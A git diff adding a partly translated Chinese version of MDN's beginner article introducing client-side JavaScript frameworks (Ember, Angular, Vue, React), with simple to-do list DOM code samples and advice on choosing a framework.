module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization"><font><font>Ember应用程序的结构和组件化</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state"><font><font>灰烬互动:事件,类和状态</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer"><font><font>灰烬交互性:页脚功能,条件渲染</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing"><font><font>在Ember中路由</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources"><font><font>灰烬资源和故障排除</font></font></a></li> + </ul> + </li> + <li><font><font>Vue</font></font> + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started"><font><font>Vue入门</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component"><font><font>创建我们的第一个Vue组件</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists"><font><font>渲染Vue组件列表</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models"><font><font>添加新的待办事项表单:Vue事件,方法和模型</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling"><font><font>使用CSS样式化Vue组件</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties"><font><font>使用Vue计算的属性</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering"><font><font>Vue条件渲染:编辑现有待办事项</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management"><font><font>使用Vue裁判进行焦点管理</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources"><font><font>Vue资源</font></font></a></li> + </ul> + </li> + <li><font><font>斯维尔特</font></font> + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started"><font><font>Svelte入门</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning"><font><font>启动我们的Svelte Todo列表应用</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props"><font><font>Svelte中的动态行为:使用变量和道具</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components"><font><font>组成我们的Svelte应用程序</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility"><font><font>先进的Svelte:反应性,生命周期,可访问性</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores"><font><font>与Svelte商店合作</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript"><font><font>Svelte中的TypeScript支持</font></font></a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next"><font><font>部署和后续步骤</font></font></a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/介绍/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/介绍/index.html new file mode 100644 index 0000000000..3975354417 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/介绍/index.html @@ -0,0 +1,393 @@ +--- +title: 客户端框架介绍 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 +tags: + - JavaScript + - 初学者 + - 学习 + - 客户端 + - 框架 +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">在本章节我们开始大致了解框架, 简要回顾JavaScript和框架的历史,为什么框架会存在以及它们提供了什么, 如何开始考虑选择一个框架并学习, 以及对于客户端框架还有什么替代方案.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>熟悉 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 以及 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言的核心.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解客户端JavaScript框架是如何存在的,它们能解决什么问题,还有哪些替代方案,以及如何选择一个框架.</td> + </tr> + </tbody> +</table> + +<h2 id="简史">简史</h2> + +<p>当JavaScript在1996被发布后, 它给网络增加了少许的交互性和乐趣, 直到那时, 网页仍由静态文档组成. 网络应该不仅仅是阅读,更是创造的地方. 随着JavaScript的流行. 使用JavaScript的开发者们创造工具来解决他们遇到的问题, 并且将其打包成称为<strong>库</strong>的可复用组件, 这样就能和他人共享解决方案. 这种共享库的体系帮助塑造了网络的增长.</p> + +<p>现在, JavaScript是网络的基本部分, <a href="https://w3techs.com/technologies/details/cp-javascript">used on 95% of all websites</a>, 而且网络又是现代生活的基本部分. 用户在网络上写文章, 管理预算, 听音乐, 看电影, 以及和相隔万里的人通过文字, 音频, 视频聊天来瞬时交流. 网络让我们能够做到那些过去只能在电脑上安装本地应用程序才能做到的事. 这些现代的, 复杂的, 具有交互性的网站通常被称为 <strong>网络应用程序</strong>.</p> + +<p>现代JavaScript框架的到来加快了打造高度动态化和交互性强的应用程序的速度. <strong>框架</strong> 就是提供该如何构建应用程序的意见的库。这些意见能使应用具有可预测性和同质性。可预测性让软件能在扩展到很大规模的同时仍保持可维护性。可预测性和可维护性对于一个软件的长久健康运行是十分重要的。</p> + +<p>在现代网络中,JavaScript框架为众多令人印象深刻的软件提供支持——包括许多你可能每天都使用的网站。你正在阅读的这个MDN Web 文档页面, 就是使用React / ReactDOM框架为其前端提供动力。</p> + +<h2 id="有哪些框架">有哪些框架?</h2> + +<p>有很多框架可供你选择,但以下主要介绍目前公认的“四大框架”。</p> + +<h3 id="Ember">Ember</h3> + +<p><a href="https://emberjs.com/">Ember</a>于2011年12月发布,最初作为<a href="https://en.wikipedia.org/wiki/SproutCore">SproutCore</a>项目的延续而开始。比其新式的替代品(例如React和Vue),作为老框架它的用户人数要少得多。但因其稳定性、社区支持以及一些明智的编程原则,它仍然享有很高的知名度。</p> + +<h3 id="Angular">Angular</h3> + +<p><a href="https://angular.io">Angular </a>是一个开源 Web 应用程序框架,正式发布于2016年9月14日。它由构建<a href="https://angularjs.org/"> AngularJS</a> 的团队完全重写,并由 Google 的 Angular 团队以及个人和公司社区共同领导。</p> + +<p>Angular 是一种基于组件的框架,使用声明式的HTML模板。在应用构建时,框架的编译器将 HTML 模板转换为优化好的 JavaScript 指令,这一过程对开发者是透明的。Angular 使用 TypeScript,它是 JavaScript 的超集,我们将在下一章中对其进行更多介绍。</p> + +<h3 id="Vue">Vue</h3> + +<p>Evan You first released <a href="https://vuejs.org/">Vue</a> in 2014, after working on and learning from the original <a href="https://angularjs.org/">AngularJS</a> project. Vue is the youngest of the big four, but has enjoyed a recent uptick in popularity.</p> + +<p>Vue, like <a href="https://angularjs.org/">AngularJS</a>, extends HTML with some of its own code. Apart from that, it mainly relies on modern, standard JavaScript.</p> + +<h3 id="React">React</h3> + +<p>Facebook 在 2013 发布了 React。 在当时 React 已经被Facebook内部用来解决许多问题。 严格来说 React 本身并不是框架,而是一个用来渲染UI 组件的库。 React is used in combination with <em>other</em> libraries to make applications — React and <a href="https://reactnative.dev/">React Native</a> enable developers to make mobile applications; React and <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a> enables them to make web applications, etc.</p> + +<p>Because React and ReactDOM are so often used together, React is colloquially understood as a JavaScript framework. As you read through this module, we will be working with that colloquial understanding.</p> + +<p>React extends JavaScript with HTML-like syntax, known as <a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a>.</p> + +<h2 id="框架为何会存在">框架为何会存在?</h2> + +<p>我们已经讨论了因为什么契机而创造了框架,但我们仍不知道为什么开发者认为有必要创造它。要知道这个问题的答案,我们首先需要检查软件开发中的各种挑战。</p> + +<p>设想一个很常见的软件:一个To-Do清单创建器,在接下来的章节中我们会使用各种框架来实现它。这个应用应让用户可以完成诸如呈现任务列表、添加和删除任务等操作,且在完成这些操作的同时能可靠地跟踪和更新应用程序的底层数据。在软件开发中,这种底层数据被称为状态。</p> + +<p>上述每个目标理论上都很简单。我们可以遍历数据来列出清单,添加一个对象来创建新任务,使用标识符来查找、编辑和删除任务。需要注意的是,用户都是在浏览器中使用应用的这些功能,然而这就引出了一些问题: <strong>每当我们修改应用的数据时,我们都需要更新用户界面以使其匹配。</strong> </p> + +<p>我们可以通过To-Do应用的一个功能来检验这个问题的难点:呈现任务清单。</p> + +<h2 id="冗长的DOM操作">冗长的DOM操作</h2> + +<p>Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this:</p> + +<pre class="brush: js notranslate">const state = [ + { + id: 'todo-0', + name: 'Learn some frameworks!' + } +]</pre> + +<p>How do we show one of those tasks to our user? We want to represent each task as a list item – an HTML <code><a href="/en-US/docs/Web/HTML/Element/li"><li></a></code> element inside of an unordered list element (a <code><a href="/en-US/docs/Web/HTML/Element/ul"><ul></a></code>). How do we make it? That could look something like this:</p> + +<pre class="brush: js notranslate">function buildTodoItemEl(id, name) { + const item = document.createElement('li'); + const span = document.createElement('span'); + const textContent = document.createTextNode(name); + + span.appendChild(textContent) + + item.id = id; + item.appendChild(span); + item.appendChild(buildDeleteButtonEl(id)); + + return item; +}</pre> + +<p>Here, we use the <code><a href="/en-US/docs/Web/API/Document/createElement">document.createElement()</a></code> method to make our <code><li></code>, and several more lines of code to create the properties and children it needs.</p> + +<p>The tenth line of this snippet references another build function: <code>buildDeleteButtonEl()</code>. It follows a similar pattern to the one we used to build a list item element:</p> + +<pre class="brush: js notranslate">function buildDeleteButtonEl(id) { + const button = document.createElement('button'); + const textContent = document.createTextNode('Delete'); + + button.setAttribute('type', 'button'); + button.appendChild(textContent); + + return button; +}</pre> + +<p>This button doesn't do anything yet, but it will later once we decide to implement our delete feature. The code that will render our items on the page might read something like this:</p> + +<pre class="brush: js notranslate">function renderTodoList() { + const frag = document.createDocumentFragment(); + state.tasks.forEach(task => { + const item = buildTodoItemEl(task.id, task.name); + frag.appendChild(item); + }); + + while (todoListEl.firstChild) { + todoListEl.removeChild(todoListEl.firstChild); + } + todoListEl.appendChild(frag); +}</pre> + +<p>We've now got well over thirty lines of code dedicated <em>just</em> to the UI – <em>just</em> to the step of rendering something in the DOM – and at no point do we add classes that we could use later to style our list-items!</p> + +<p>Working directly with the DOM, as in this example, requires understanding many things about how the DOM works: how to make elements; how to change their properties; how to put elements inside of each other; how to get them on the page. None of this code actually handles user interactions, or addresses adding or deleting a task. If we add those features, we have to remember to update our UI in the right time and in the right way.</p> + +<p>JavaScript frameworks were created to make this kind of work a little easier — they exist to provide a better <em>developer experience</em>. They don't bring brand-new powers to JavaScript; they give you easier access to JavaScript's powers so you can build for today's web.</p> + +<p>If you want to see code samples from this section in action, you can check out a <a href="https://codepen.io/dengeist/pen/XWbPNmw">working version of the app on CodePen</a>, which also allows users to add and delete new tasks.</p> + +<p>Read more about the JavaScript used in this section:</p> + +<ul> + <li><code><a href="/en-US/docs/Web/API/Document/createElement">document.createElement()</a></code></li> + <li><code><a href="/en-US/docs/Web/API/Document/createTextNode">document.createTextNode()</a></code></li> + <li><code><a href="/en-US/docs/Web/API/Document/createDocumentFragment">document.createDocumentFragment()</a></code></li> + <li><code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">eventTarget.addEventListener()</a></code></li> + <li><code><a href="/en-US/docs/Web/API/Node/appendChild">node.appendChild()</a></code></li> + <li><code><a href="/en-US/docs/Web/API/Node/removeChild">node.removeChild()</a></code></li> +</ul> + +<h2 id="另一种打造UIs的方式">另一种打造UIs的方式</h2> + +<p>Every JavaScript framework offers a way to write user interfaces more <em>declaratively</em>. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes.</p> + +<p>The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance. By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks:</p> + +<pre class="brush: html notranslate"><ul> + <li v-for="task in tasks" v-bind:key="task.id"> + <span>\{{task.name\}}</span> + <button type="button">Delete</button> + </li> +</ul></pre> + +<p>That's it. This snippet reduces approximately thirty-two lines of code down to six lines. If the curly braces and <code>v-</code> attributes here are unfamiliar to you, that's okay; you’ll learn about Vue-specific syntax later on in the module. The thing to take away here is that this code looks like the UI it represents, whereas the vanilla JavaScript code does not.</p> + +<p>Thanks to Vue, we didn't have to write our own functions for building the UI; the framework will handle that for us in an optimized, efficient way. Our only role here was to describe to Vue what each item should look like. Developers who are familiar with Vue can join our project and quickly work out what is going on. Vue is not alone in this: using a framework improves team as well as individual efficiency.</p> + +<p>It's possible to do things <em>similar</em> to this in vanilla JavaScript. <a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literal strings</a> make it easy to write strings of HTML that represent what the final element would look like. That might be a useful idea for something as simple as our to-do list application, but it's not maintainable for large applications that manage thousands of records of data, and could render just as many unique elements in a user interface.</p> + +<h2 id="框架提供给我们的其他功能">框架提供给我们的其他功能</h2> + +<p>Let's look at some of the other advantages conferred upon us by frameworks. As we've alluded to before, the advantages of frameworks are achievable in vanilla JavaScript, but using a framework takes away all of the cognitive load of having to solve these problems yourself.</p> + +<h3 id="Tooling">Tooling</h3> + +<p>Because each of the frameworks in this module have a large, active community, each framework's ecosystem provides tooling that Improves the developer experience. These tools make it easy to add things like testing (to ensure that your application behaves as it should) or linting (to ensure that your code is error-free and stylistically consistent).</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: If you want to find out more details about web tooling concepts, have a read of our <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Client-side tooling overview</a>.</p> +</div> + +<h3 id="Compartmentalization">Compartmentalization</h3> + +<p>Most major frameworks encourage developers to abstract the different parts of their user interfaces into <em>components</em> — maintainable, reusable chunks of code that can communicate with one another. All the code related to a given component can live in one file (or a couple of specific files), so that you as a developer know exactly where to go to make changes to that component. In a vanilla JavaScript app, you'd have to create your own set of conventions to achieve this in an efficient, scalable way. Many JavaScript developers, if left to their own devices, could end up with all the code related to one part of the UI being spread out all over a file — or in another file altogether.</p> + +<h3 id="Routing">Routing</h3> + +<p>The most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. When you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. As it does so, the URL in your address bar changes. You can save this new URL and come back to the page later on, or share it with others so they can easily find the same page. Your browser remembers your navigation history and allows you to navigate back and forth, too. This is called <strong>server-side routing</strong>.</p> + +<p>Modern web applications typically do not fetch and render new HTML files — they load a single HTML shell, and continually update the DOM inside it (referred to as <strong>single page apps</strong>, or <strong>SPAs</strong>) without navigating users to new addresses on the web. Each new pseudo-webpage is usually called a <em>view</em>, and by default, no routing is done.</p> + +<p>When an SPA is complex enough, and renders enough unique views, it's important to bring routing functionality into your application. People are used to being able to link to specific pages in an application, travel forward and backward in their navigation history, etc., and their experience suffers when these standard web features are broken. When routing is handled by a client application in this fashion, it is aptly called <strong>client-side routing</strong>.</p> + +<p>It's <em>possible</em> to make a router using the native capabilities of JavaScript and the browser, but popular, actively developed frameworks have companion libraries that make routing a more intuitive part of the development process.</p> + +<h2 id="使用框架的注意事项">使用框架的注意事项</h2> + +<p>Being an effective web developer means using the most appropriate tools for the job. JavaScript frameworks make front-end application development easy, but they are not a silver bullet that will solve all problems. This section talks about some of the things you should consider when using frameworks. Bear in mind that you might not need a framework at all — beware that you don't end up using a framework just for the sake of it.</p> + +<h3 id="Familiarity_with_the_tool">Familiarity with the tool</h3> + +<p>Just like vanilla JavaScript, frameworks take time to learn and have their quirks. Before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfortable with it as well.</p> + +<h3 id="Overengineering">Overengineering</h3> + +<p>If your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its JavaScript) may not be necessary at all. That said, frameworks are not a monolith, and some of them are better-suited to small projects than others. In an article for Smashing Magazine, Sarah Drasner writes about how <a href="https://www.smashingmagazine.com/2018/02/jquery-vue-javascript/">Vue can replace jQuery</a> as a tool for making small portions of a webpage interactive.</p> + +<h3 id="Larger_code_base_and_abstraction">Larger code base and abstraction</h3> + +<p>Frameworks allow you to write more declarative code – and sometimes <em>less</em> code overall – by dealing with the DOM interactions for you, behind the scenes. This abstraction is great for your experience as a developer, but it isn't free. In order to translate what you write into DOM changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate.</p> + +<p>Some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones.</p> + +<p>The abstraction of frameworks affects not only your JavaScript, but your relationship with the very nature of the web. No matter how you build for the web, the end result, the layer that your users ultimately interact with, is HTML. Writing your whole application in JavaScript can make you lose sight of HTML and the purpose of its various tags, and lead you to produce an HTML document that is un-semantic and inaccessible. In fact, it's possible to write a fragile application that depends entirely on JavaScript and will not function without it.</p> + +<p>Frameworks are not the source of our problems. With the wrong priorities, it's possible for <em>any</em> application to be fragile, bloated, and inaccessible. Frameworks do, however, amplify our priorities as developers. If your priority is to make a complex web app, it's easy to do that. However, if your priorities don't carefully guard performance and accessibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. Modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. Instead of a robust, content-first network of documents, the web now often puts JavaScript first and user experience last.</p> + +<h2 id="框架驱动页面的可访问性">框架驱动页面的可访问性</h2> + +<p>Let's build on what we said in the previous section, and talk a bit more about accessibility. Making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. You often have to employ advanced framework APIs to access native browser features like ARIA <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Live_Regions">live regions</a> or focus management.</p> + +<p>In some cases, framework applications create accessibility barriers that do not exist for traditional websites. The biggest example of this is in client-side routing, as mentioned earlier.</p> + +<p>With traditional (server-side) routing, navigating the web has predictable results. The browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. These things happen every time you navigate to a new page.</p> + +<p>With client-side routing, your browser is not loading new web pages, so it doesn't know that it should automatically adjust focus or announce a new page title. Framework authors have devoted immense time and labor to writing JavaScript that recreates these features, and even then, no framework has done so perfectly.</p> + +<p>The upshot is that you should consider accessibility from the very start of <em>every</em> web project, but bear in mind that abstracted codebases that use frameworks are more likely to suffer from major accessibility issues if you don't.</p> + +<h2 id="如何选择一个框架">如何选择一个框架</h2> + +<p>Each of the frameworks discussed in this module take different approaches to web application development. Each is regularly improving or changing, and each has its pros and cons. Choosing the right framework is a team- and project-dependent process, and you should do your own research to uncover what suits your needs. That said, we've identified a few questions you can ask in order to research your options more effectively:</p> + +<ol> + <li>What browsers does the framework support?</li> + <li>What domain-specific languages does the framework utilize?</li> + <li>Does the framework have a strong community and good docs (and other support) available?</li> +</ol> + +<p>The table in this section provides a glanceable summary of the current <em>browser support</em> offered by each framework, as well as the <strong>domain-specific languages</strong> with which it can be used.</p> + +<p>Broadly, domain-specific languages (<strong>DSLs</strong>) are programming languages relevant in specific areas of software development. In the context of frameworks, DSLs are variations on JavaScript or HTML that make it easier to develop with that framework. Crucially, none of the frameworks <em>require</em> a developer to use a specific DSL, but they have almost all been designed with a specific DSL in mind. Choosing not to employ a framework’s preferred DSL will mean you miss out on features that would otherwise improve your developer experience.</p> + +<p>You should seriously consider the support matrix and DSLs of a framework when making a choice for any new project. Mismatched browser support can be a barrier to your users; mismatched DSL support can be a barrier to you and your teammates.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Framework</th> + <th scope="col">Browser support</th> + <th scope="col">Preferred DSL</th> + <th scope="col">Supported DSLs</th> + </tr> + </thead> + <tbody> + <tr> + <td>Angular</td> + <td>IE9+</td> + <td>TypeScript</td> + <td>HTML-based; TypeScript</td> + </tr> + <tr> + <td>React</td> + <td>Modern (IE9+ with Polyfills)</td> + <td>JSX</td> + <td>JSX; TypeScript</td> + </tr> + <tr> + <td>Vue</td> + <td>IE9+</td> + <td>HTML-based</td> + <td>HTML-based, JSX, Pug</td> + </tr> + <tr> + <td>Ember</td> + <td>Modern (IE9+ in Ember version 2.18)</td> + <td>Handlebars</td> + <td>Handlebars, TypeScript</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: DSLs we've described as "HTML-based" do not have official names. They are not really true DSLs, but they are non-standard HTML, so we believe they are worth highlighting.</p> +</div> + +<p>Citations for this table:</p> + +<ul> + <li><a href="https://reactjs.org/docs/react-dom.html#browser-support">React browser support: official docs</a></li> + <li><a href="https://blog.emberjs.com/2018/02/14/ember-3-0-released.html">Ember browser support: Ember 3.0 release announcement</a></li> + <li><a href="https://guides.emberjs.com/v3.3.0/templates/handlebars-basics/">Ember templating language (official docs)</a></li> +</ul> + +<h3 id="Does_the_framework_have_a_strong_community">Does the framework have a strong community?</h3> + +<p>This is perhaps the hardest metric to measure, because community size does not correlate directly to easy-to-access numbers. You can check a project's number of GitHub stars or weekly npm downloads to get an idea of its popularity, but sometimes the best thing to do is search a few forums or talk to other developers. It is not just about the community's size, but also how welcoming and inclusive it is, and how good available documentation is.</p> + +<h3 id="Opinions_on_the_web">Opinions on the web</h3> + +<p>Don't just take our word on this matter — there are discussions all over the web. The Wikimedia Foundation recently chose to use Vue for its front-end, and posted a <a href="https://phabricator.wikimedia.org/T241180">request for comments (RFC) on framework adoption</a>. Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework.</p> + +<p>The <a href="https://stateofjs.com/">State of JavaScript survey</a> is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity.</p> + +<p>The Vue team has <a href="https://vuejs.org/v2/guide/comparison.html">exhaustively compared Vue to other popular frameworks</a>. There may be some bias in this comparison (which they note), but it's a valuable resource nonetheless.</p> + +<h2 id="客户端框架的替代方案">客户端框架的替代方案</h2> + +<p>If you’re looking for tools to expedite the web development process, and you know your project isn’t going to require intensive client-side JavaScript, you could reach for one of a handful of other solutions for building the web:</p> + +<ul> + <li>A content management system</li> + <li>Server-side rendering</li> + <li>A static site generator</li> +</ul> + +<h3 id="Content_management_systems">Content management systems</h3> + +<p><strong>Content-management systems</strong> (<strong>CMSes</strong>) are any tools that allow a user to create content for the web without directly writing code themselves. They're a good solution for large projects, especially projects that require input from content writers who have limited coding ability, or for programmers who want to save time. They do, however, require a significant amount of time to set up, and utilizing a CMS means that you surrender at least some measure of control over the final output of your website. For example: if your chosen CMS doesn't author accessible content by default, it's often difficult to improve this.</p> + +<p>Popular examples include <a href="https://wordpress.com/">Wordpress</a>, <a href="https://www.joomla.org/">Joomla</a>, and <a href="https://www.drupal.org/">Drupal</a>.</p> + +<h3 id="Server-side_rendering">Server-side rendering</h3> + +<p><strong>Server-side rendering</strong> (<strong>SSR</strong>) is an application architecture in which it is the <em>server'</em>s job to render a single-page application. This is the opposite of <em>client-side rendering</em>, which is the most common and most straightforward way to build a JavaScript application. Server-side rendering is easier on the client's device, because you're only sending a rendered HTML file to them, but it can be difficult to set up compared to a client-side-rendered application.</p> + +<p>All of the frameworks covered in this module support server-side rendering as well as client-side rendering. Check out <a href="https://nextjs.org/">Next.js</a> for React, <a href="https://nuxtjs.org/">Nuxt.js</a> for Vue (yes it is confusing, and no, these projects are not related!), <a href="https://github.com/ember-fastboot/ember-cli-fastboot">FastBoot</a> for Ember, and <a href="https://angular.io/guide/universal">Angular Universal</a> for Angular.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Some SSR solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer.</p> +</div> + +<h3 id="Static_site_generators">Static site generators</h3> + +<p>Static site generators are programs that dynamically generate all the webpages of a multi-page website — including any relevant CSS or JavaScript — so that they can be published in any number of places. The publishing host could be a GitHub pages branch, a Netlify instance, or any private server of your choosing, for example. There are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with JavaScript; it's already complete) and security (static pages have fewer attack vectors). These sites can still utilize JavaScript where they need to, but they are not <em>dependent</em> upon it. Static site generators take time to learn, just like any other tool, which can be a barrier to your development process.</p> + +<p>Static sites can have as few or as many unique pages as you want. Just as frameworks empower you to quickly write client-side JavaScript applications, static site generators allow you a way to quickly create HTML files you would otherwise have written individually. Like frameworks, static site generators allow developers to write components that define common pieces of your web pages, and to compose those components together to create a final page. In the context of static site generators, these components are called <strong>templates</strong>. Web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a React application when your user visits it for example, you can do that.</p> + +<p>Static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. A handful of powerful options are now available, such as <a href="https://gohugo.io/">Hugo</a>, <a href="https://jekyllrb.com/">Jekyll</a>, <a href="https://www.11ty.dev/">Eleventy</a>, and <a href="https://www.gatsbyjs.org/">Gatsby</a>.</p> + +<p>If you'd like to learn more about static site generators on the whole, check out Tatiana Mac's <a href="https://tatianamac.com/posts/beginner-eleventy-tutorial-parti/">Beginner's guide to Eleventy</a>. In the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content.</p> + +<h2 id="总结">总结</h2> + +<p>And that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful background on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in!</p> + +<p>Our next article goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do.</p> + +<p>{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a 